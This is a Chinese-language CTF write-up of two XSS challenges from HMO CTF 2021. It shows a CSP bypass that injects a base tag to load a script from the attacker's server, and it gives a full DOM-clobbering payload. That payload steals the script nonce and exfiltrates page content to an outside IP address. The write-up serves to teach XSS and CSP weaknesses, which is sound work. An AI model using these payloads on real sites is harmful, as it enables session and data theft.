HMOCTF-XSS
HMOCTF-XSS
2021.5.16参与了HMO CTF做了和XSS相关的题目。
整场比赛:
Polite Notepad
打开题目首先是个登录框:
随便输入username和passwd就可以进入写note
新增一个note观察一下DOM
生成了一个note
可以看到使用了csp,写个XSS POC试一下,可以看到报错
很明显,这题是CSP绕过了,查看这个csp
csp策略:CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置
Content-Security-Policy: default-src 'self'; style-src https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/css/bootstrap.min.css; script-src https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js 'nonce-cLINoUPEhBHqzl0KFYIc9w'
此处使用了default-src:‘self’,也就是说默认情况下,限定了javascript、css、img、font、connect(请求相关)、child(包括iframe等)的有效来源只能是与该主页同源的网站。
通过csp check检查一下这个策略
可以看到csp策略没有设置base uri
Content-Security-Policy base-uri指令限制可以在文档<base>
元素中使用的URL 。如果此值不存在,则允许使用任何URI。如果此指令不存在,则用户代理将使用该<base>
元素中的值。
使用base标签定义URL写入content,可以看到网页中使用的/static/badwords.js是相对路径,通过base定义uri之后,直接获取的就是该base对应的uri中的badwords.js
那么在自己的vps上放一个内容为恶意poc的/static/badwords.js,即可达到XSS的目的
下一步就是找flag了,一般情况下会认为在cookie里,但是通过打cookie发现cookie为空
找了一轮,发现在admin管理员的mynote中,那么写个请求,先访问admin的mynote
将note的地址分享给bot
获取到返回值如下:
编码一下可以看到:
访问这个note
根据返回值解码:
拿到flag
Politer Notepad
上一道题的解法其实并非主办方的本意,但是由于非预期(未设置base uri)所以导致了比较容易的解法,主办方在新的进阶版题目中,修复了这个问题。将/staic/badwords.js改成了绝对路径,base标签无法篡改该js
这道题是结束后,登录到别人的账号中(因为大家做题的时候都是用简单账号登录,账号碰撞了一下,发现了poc)
通过查看源代码可以看到,在note中存在以下规则:
通过good*
和bad*
替换达到偷取nonce执行XSS的结果
<a id=bad1 href='cid:="</div">'><a id=good1 href="cid:></script><iframe srcdoc='$'"><a id=bad2 href="http://politernotepad.zajebistyc.tf/static/badwords.js"><a id=good2 href='data:,fetch(`http://politernotepad.zajebistyc.tf`).then(e=>e.text()).then(e=>top.location=`http://192.154.218.128:2333?h=${encodeURIComponent(e)}`)"></script>'><a id=bad3><a id=good3><a id=bad4><a id=good4><script cid:=
分析一下这个poc:
先看一下这个content Dom tree前后
bad1 的href='cid:="</div>"'
,href指向链接 cid:="</div>"
.在poc的最后,拼接了<script cid:=
与div的闭合标签</div>
,形成href,被good1替换。
$
占位符直到遇到'
结束
bad2中的绝对路径/static/badwords.js 被good2替换
最后变成这样:
解码:
获取flag